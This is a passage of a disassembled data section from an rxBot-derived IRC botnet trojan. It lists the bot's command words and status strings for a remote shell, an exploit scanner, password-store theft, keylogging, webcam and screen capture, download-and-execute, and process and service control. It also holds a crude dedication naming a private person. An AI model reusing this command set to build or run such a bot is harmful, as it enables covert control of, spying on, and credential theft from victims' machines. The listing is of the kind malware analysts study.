shell.',0 align 4 unk_4387BC db 2Dh ; - ; DATA XREF: sub_401C87:loc_403C67o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 dword_4387DC dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401C87+206Fo dd 2E7325h dword_4387F4 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0 unk_438814 db 2Dh ; - ; DATA XREF: sub_401C87+20EAo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 aFull db 'full',0 ; DATA XREF: sub_401C87+214Co align 4 dword_43883C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401C87+216Co dd 696C2073h, 2E7473h unk_438858 db 2Dh ; - ; DATA XREF: sub_401C87+21CBo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStartL db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_438894 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401C87+21FCo dd 746F4220h, 2Eh dword_4388B0 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401C87+2251o dd 2E6F666Eh, 0 dword_4388CC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401C87+2280o dd 6F666E49h, 2Eh dword_4388E8 dd 7325h dword_4388EC dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401C87+2304o dd 2E676Fh unk_438904 db 2Dh ; - ; DATA XREF: sub_401C87+237Bo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_4 db '- Failed to start listing thread, error: <%d>.',0 dword_43893C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401C87+23ABo dd 2E7473h dword_438954 dd 627573h dword_438958 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401C87+2423o dd 65726874h, 2E736461h, 0 unk_438978 db 2Dh ; - ; DATA XREF: sub_401C87+247Co db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStar_5 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_4389B4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401C87+24A6o dd 2E7325h unk_4389CC db 2Dh ; - ; DATA XREF: sub_401C87+24E4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2530o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041C9o align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041E0o align 4 dword_438A2C dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401C87+2566o dd 6E697463h, 2E67h aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404202o align 10h dword_438A60 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401C87+2588o dd 676E6974h, 2Eh dword_438A7C dd 636F7250h, 20737365h, 7473696Ch, 0dword_438A8C dd 234032Dh, 636F7270h, 2D030273h, 0dword_438A9C dd 646E6946h, 6C696620h, 65hdword_438AA8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hunk_438AB8 db 2Dh ; - ; DATA XREF: sub_401C87+2694o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStarte_0 db ' Server started on: %s:%d.',0 align 4 unk_438AE4 db 2Dh ; - ; DATA XREF: sub_401C87+2702o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 4 aSecure_0 db 'secure',0 ; DATA XREF: sub_401C87+2722o align 4 aSec_0 db 'sec',0 ; DATA XREF: sub_401C87+2733o aSecuring db 'Securing',0 ; DATA XREF: sub_401C87+278Eo align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401C87+2795o align 4 dword_438B48 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401C87+279Bo dd 2E6D6574h, 0 dword_438B64 dd 234032Dh, 75636573h, 3026572haFailedToStar_7 db '- Failed to start secure thread, error: <%d>.',0 align 10h unk_438BA0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4044A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_438C50 dd 234032Dh, 6E69616Dh, 202D0302h, 7325hunk_438C60 db 2Dh ; - ; DATA XREF: sub_401C87+286Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_438C80 db 2Dh ; - ; DATA XREF: sub_401C87+287Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_438CAC db 2Dh ; - ; DATA XREF: sub_401C87+2889o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_438CD8 db 2Dh ; - ; DATA XREF: sub_401C87+28CBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 a332_1 db '332',0 ; DATA XREF: sub_401C87+28DBo unk_438CFC db 2Dh ; - ; DATA XREF: sub_401C87+2917o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 aPstore db 'pstore',0 ; DATA XREF: sub_401C87+2922o align 4 aPs_0 db 'ps',0 ; DATA XREF: sub_401C87+2937o align 4 aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401C87+294Co align 4 aRin db 'rin',0 ; DATA XREF: sub_401C87+2961o aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401C87+2976o aRinms db 'rinms',0 ; DATA XREF: sub_401C87+298Bo align 4 aNick_0 db 'nick',0 ; DATA XREF: sub_401C87+29A0o align 2 aN db 'n',0 ; DATA XREF: sub_401C87+29B5o aJoin db 'join',0 ; DATA XREF: sub_401C87+29CAo align 2 aJ db 'j',0 ; DATA XREF: sub_401C87+29DFo aPart_1 db 'part',0 ; DATA XREF: sub_401C87+29F4o align 4 aPt db 'pt',0 ; DATA XREF: sub_401C87+2A09o align 10h aRaw db 'raw',0 ; DATA XREF: sub_401C87+2A1Eo aR_0: ; DATA XREF: sub_401C87+2A33o unicode 0, <r>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401C87+2A48o align 4 aK: ; DATA XREF: sub_401C87+2A5Do unicode 0, <k>,0 aC_quit db 'c_quit',0 ; DATA XREF: sub_401C87+2A72o align 10h aC_q db 'c_q',0 ; DATA XREF: sub_401C87+2A87o aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401C87+2A9Co align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401C87+2AB1o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401C87+2AC6o align 10h aPr db 'pr',0 ; DATA XREF: sub_401C87+2ADBo align 4 aOpen db 'open',0 ; DATA XREF: sub_401C87+2AF0o align 2 aO db 'o',0 ; DATA XREF: sub_401C87+2B05o aServer_0 db 'server',0 ; DATA XREF: sub_401C87+2B1Ao align 4 aSe db 'se',0 ; DATA XREF: sub_401C87+2B2Fo align 4 aDns db 'dns',0 ; DATA XREF: sub_401C87+2B44o aDn db 'dn',0 ; DATA XREF: sub_401C87+2B59o align 10h aKillproc db 'killproc',0 ; DATA XREF: sub_401C87+2B6Eo align 4 aKp db 'kp',0 ; DATA XREF: sub_401C87+2B83o align 10h aKill db 'kill',0 ; DATA XREF: sub_401C87+2B98o align 4 aKi db 'ki',0 ; DATA XREF: sub_401C87+2BADo align 4 aDelete db 'delete',0 ; DATA XREF: sub_401C87+2BC2o align 4 aDel db 'del',0 ; DATA XREF: sub_401C87+2BD7o aGet db 'get',0 ; DATA XREF: sub_401C87+2BECo aGt db 'gt',0 ; DATA XREF: sub_401C87+2C01o align 10h aList db 'list',0 ; DATA XREF: sub_401C87+2C16o align 4 aLi db 'li',0 ; DATA XREF: sub_401C87+2C2Bo align 4 aVisit db 'visit',0 ; DATA XREF: sub_401C87+2C40o aV db 'v',0 ; DATA XREF: sub_401C87+2C55o aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401C87+2C6Ao aMirc db 'mirc',0 ; DATA XREF: sub_401C87+2C7Fo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401C87+2C94o aCm db 'cm',0 ; DATA XREF: sub_401C87+2CA9o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401C87+2CBEo align 4 aRf db 'rf',0 ; DATA XREF: sub_401C87+2CD3o align 4 aIdent db 'ident',0 ; DATA XREF: sub_401C87+2CE8o align 4 aOn db 'on',0 ; DATA XREF: sub_401C87+2CFFo align 4 dword_438E68 dd 234032Dh, 6E656469h, 3026474haAlreadyRunni_1 db '- Already running.',0 align 4 dword_438E88 dd 234032Dh, 6E656469h, 3026474haServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_438EB4 dd 234032Dh, 6E656469h, 3026474haFailedToStar_8 db '- Failed to start server, error: <%d>.',0 align 4 aOff db 'off',0 ; DATA XREF: sub_401C87+2D85o dword_438EEC dd 234032Dh, 6E656469h, 3026474haServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_438F24 dd 234032Dh, 6E656469h, 3026474haNoThreadFound_ db '- No thread found.',0 align 4 aNet db 'net',0 ; DATA XREF: sub_401C87+2DBDo unk_438F48 db 2Dh ; - ; DATA XREF: sub_401C87+2DE1o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aStart db 'start',0 ; DATA XREF: sub_401C87+2E13o align 4 aS_1 db '%s',0 ; DATA XREF: sub_401C87+2E32o align 4 unk_438F8C db 2Dh ; - ; DATA XREF: sub_401C87+2E69o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h unk_438FB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404AFAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 aStop db 'stop',0 ; DATA XREF: sub_401C87+2E80o align 4 aS_2 db '%s',0 ; DATA XREF: sub_401C87+2E9Bo align 4 aPause db 'pause',0 ; DATA XREF: sub_401C87+2EA5o align 4 aS_3 db '%s',0 ; DATA XREF: sub_401C87+2EC0o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401C87+2ECDo align 4 aS_4 db '%s',0 ; DATA XREF: sub_401C87+2EE8o align 4 aDelete_0 db 'delete',0 ; DATA XREF: sub_401C87+2EF5o align 10h aS_5 db '%s',0 ; DATA XREF: sub_401C87+2F10o align 4 aShare db 'share',0 ; DATA XREF: sub_401C87+2F1Do align 4 aS_6 db '%s',0 ; DATA XREF: sub_401C87+2F43o align 10h aS_7 db '%s',0 ; DATA XREF: sub_401C87+2F59o align 4 unk_439014 db 2Dh ; - ; DATA XREF: sub_401C87+2F91o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_439038 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404C22o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 aUser_0 db 'user',0 ; DATA XREF: sub_401C87+2FA8o align 10h aS_8 db '%s',0 ; DATA XREF: sub_401C87+2FDEo align 4 aS_9 db '%s',0 ; DATA XREF: sub_401C87+2FF9o align 4 aS_10 db '%s',0 ; DATA XREF: sub_401C87+300Ao align 4 unk_43906C db 2Dh ; - ; DATA XREF: sub_401C87+3042o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_43908C db 2Dh ; - ; DATA XREF: sub_401C87:loc_404CD3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401C87+3059o align 4 aS_11 db '%s',0 ; DATA XREF: sub_401C87+3088o align 4 unk_4390B8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404D22o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_4390DC db 2Dh ; - ; DATA XREF: sub_401C87:loc_404D2Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 aCapture db 'capture',0 ; DATA XREF: sub_401C87+30B0o aCap db 'cap',0 ; DATA XREF: sub_401C87+30C5o aGethost db 'gethost',0 ; DATA XREF: sub_401C87+30DAo aGh db 'gh',0 ; DATA XREF: sub_401C87+30EBo align 10h aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+3149o align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_401C87+3172o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_439148 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404E0Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 dword_439178 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401C87+31CBo dd 2E732520h, 0 aScreen db 'screen',0 ; DATA XREF: sub_401C87:loc_404E6Ao align 4 unk_43919C db 2Dh ; - ; DATA XREF: sub_401C87+3214o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 unk_4391C8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404EABo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing screen.',0 align 4 unk_4391F8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404EB2o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401C87:loc_404EC5o unk_43923C db 2Dh ; - ; DATA XREF: sub_401C87+3295o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 unk_439264 db 2Dh ; - ; DATA XREF: sub_401C87+32CBo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_401C87:loc_404F5Fo align 4 unk_439294 db 2Dh ; - ; DATA XREF: sub_401C87+3352o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 unk_4392C0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404FE9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_4392F4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404FF0o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for webcam capture.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401C87:loc_405003o align 4 unk_439334 db 2Dh ; - ; DATA XREF: sub_401C87+3409o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40509Ao db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0 dword_4393A0 dd 234032Dh, 74706163h, 2657275h, 49202D03h, 6C61766Eh ; DATA XREF: sub_401C87:loc_4050A4o dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h db 2 dup(0) word_4393DE dw 72h ; DATA XREF: sub_401C87:loc_4050AEo unk_4393E0 db 2Dh ; - ; DATA XREF: sub_401C87+3492o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 dword_439404 dd 234032Dh, 6E69616Dh, 202D0302h, 64616552h, 6C696620h ; DATA XREF: sub_401C87+34A8o dd 61662065h, 64656C69h, 7325203Ah db 2 dup(0) word_439426 dw 0Ah ; DATA XREF: sub_401C87+34D2o unk_439428 db 2Dh ; - ; DATA XREF: sub_401C87+34F0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 dword_439454 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401C87+34F8o dd 732520h unk_43946C db 2Dh ; - ; DATA XREF: sub_401C87+3537o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_43948C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401C87:loc_4051C5o dd 746E6573h, 2Eh dword_4394A8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401C87+35E7o dd 2Eh unk_4394C0 db 2Dh ; - ; DATA XREF: sub_401C87+3640o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStar_9 db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_439500 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401C87+3683o dd 0 dword_439518 dd 7325h unk_43951C db 2Dh ; - ; DATA XREF: sub_401C87+36F7o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_439540 db 2Dh ; - ; DATA XREF: sub_401C87+3750o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_10 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_43957C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401C87+377Fo dd 27732527h, 2Eh dword_439598 dd 234032Dh, 656C6966h, 2D0302hunk_4395A4 db 2Dh ; - ; DATA XREF: sub_401C87+37C7o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 unk_4395C8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405455o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process ID: %s',0 unk_4395F8 db 2Dh ; - ; DATA XREF: sub_401C87+3828o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_439618 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4054B9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process: %s',0 align 4 unk_439648 db 2Dh ; - ; DATA XREF: sub_401C87+3863o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_439668 db 2Dh ; - ; DATA XREF: sub_401C87+3896o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_439688 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405524o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_4396B0 db 2Dh ; - ; DATA XREF: sub_401C87+38BDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 aOpen_0 db 'open',0 ; DATA XREF: sub_401C87+38D7o align 10h unk_4396E0 db 2Dh ; - ; DATA XREF: sub_401C87+38F0o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_439700 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405581o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_439724 db 2Dh ; - ; DATA XREF: sub_401C87+3913o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401C87+3959o aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+396Eo align 4 aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+399Co align 4 aAll db 'all',0 ; DATA XREF: sub_401C87+3A29o unk_439770 db 2Dh ; - ; DATA XREF: sub_401C87+3A43o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_439798 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4056D4o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4397C0 db 2Dh ; - ; DATA XREF: sub_401C87+3A98o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4397E4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405726o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B07o align 4 dword_439818 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401C87+3B15o dd 2E732520h, 0 dword_439834 dd 54524150h, 0D732520h, 0Ahunk_439840 db 2Dh ; - ; DATA XREF: sub_401C87+3B2Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B40o align 4 unk_439874 db 2Dh ; - ; DATA XREF: sub_401C87+3B50o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 aNickS_1 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B5Do align 4 unk_4398A4 db 2Dh ; - ; DATA XREF: sub_401C87+3B6Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_405806o align 10h unk_4398E0 db 2Dh ; - ; DATA XREF: sub_401C87+3B95o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s ms',0 align 4 aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_40584Co align 4 unk_43991C db 2Dh ; - ; DATA XREF: sub_401C87+3BDBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s seconds',0 align 4 aExecutedPstore db 'Executed pstore',0 ; DATA XREF: sub_401C87+3C2Bo aKilllog db 'killlog',0 ; DATA XREF: sub_401C87+3C90o aKl db 'kl',0 ; DATA XREF: sub_401C87+3CA5o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401C87+3CBAo align 4 aAa db 'aa',0 ; DATA XREF: sub_401C87+3CCFo align 10h aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401C87+3CE4o aPm db 'pm',0 ; DATA XREF: sub_401C87+3CF9o align 4 aAction db 'action',0 ; DATA XREF: sub_401C87+3D0Eo align 4 aA: ; DATA XREF: sub_401C87+3D23o unicode 0, <a>,0 aCycle db 'cycle',0 ; DATA XREF: sub_401C87+3D38o align 10h aCy db 'cy',0 ; DATA XREF: sub_401C87+3D4Do align 4 aMode db 'mode',0 ; DATA XREF: sub_401C87+3D62o align 2 aM db 'm',0 ; DATA XREF: sub_401C87+3D77o aC_raw db 'c_raw',0 ; DATA XREF: sub_401C87+3D8Co align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401C87+3DA1o aC_mode db 'c_mode',0 ; DATA XREF: sub_401C87+3DB6o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401C87+3DCBo aC_nick db 'c_nick',0 ; DATA XREF: sub_401C87+3DE0o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401C87+3DF5o aC_join db 'c_join',0 ; DATA XREF: sub_401C87+3E0Ao align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401C87+3E1Fo aC_part db 'c_part',0 ; DATA XREF: sub_401C87+3E34o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401C87+3E49o aUpdate db 'update',0 ; DATA XREF: sub_401C87+3E5Eo align 10h aUp_0 db 'up',0 ; DATA XREF: sub_401C87+3E73o align 4 aExecute db 'execute',0 ; DATA XREF: sub_401C87+3E88o aE: ; DATA XREF: sub_401C87+3E9Do unicode 0, <e>,0 aFindfile db 'findfile',0 ; DATA XREF: sub_401C87+3EB2o align 4 aFf db 'ff',0 ; DATA XREF: sub_401C87+3EC7o align 10h aRename db 'rename',0 ; DATA XREF: sub_401C87+3EDCo align 4 aMv db 'mv',0 ; DATA XREF: sub_401C87+3EF1o align 4 aClone_0 db 'clone',0 ; DATA XREF: sub_401C87+3F18o aC db 'c',0 ; DATA XREF: sub_401C87+3F2Do aDownload db 'download',0 ; DATA XREF: sub_401C87+3F42o align 10h aDl db 'dl',0 ; DATA XREF: sub_401C87+3F57o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401C87+3F6Co align 10h aRd db 'rd',0 ; DATA XREF: sub_401C87+3F81o align 4 aScan_1 db 'scan',0 ; DATA XREF: sub_401C87+3F96o align 4 aSc db 'sc',0 ; DATA XREF: sub_401C87+3FABo align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401C87+3FC0o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401C87+3FD5o align 4 aC_action db 'c_action',0 ; DATA XREF: sub_401C87+3FEAo align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401C87+3FFFo aPortscan db 'portscan',0 ; DATA XREF: sub_401C87+4026o align 10h aPsc db 'psc',0 ; DATA XREF: sub_401C87+403Bo aAdvscan db 'advscan',0 ; DATA XREF: sub_401C87+4050o aAsc db 'asc',0 ; DATA XREF: sub_401C87+4065o aNetsend db 'netsend',0 ; DATA XREF: sub_401C87+407Ao aNs db 'ns',0 ; DATA XREF: sub_401C87+408Fo align 4 aEmail db 'email',0 ; DATA 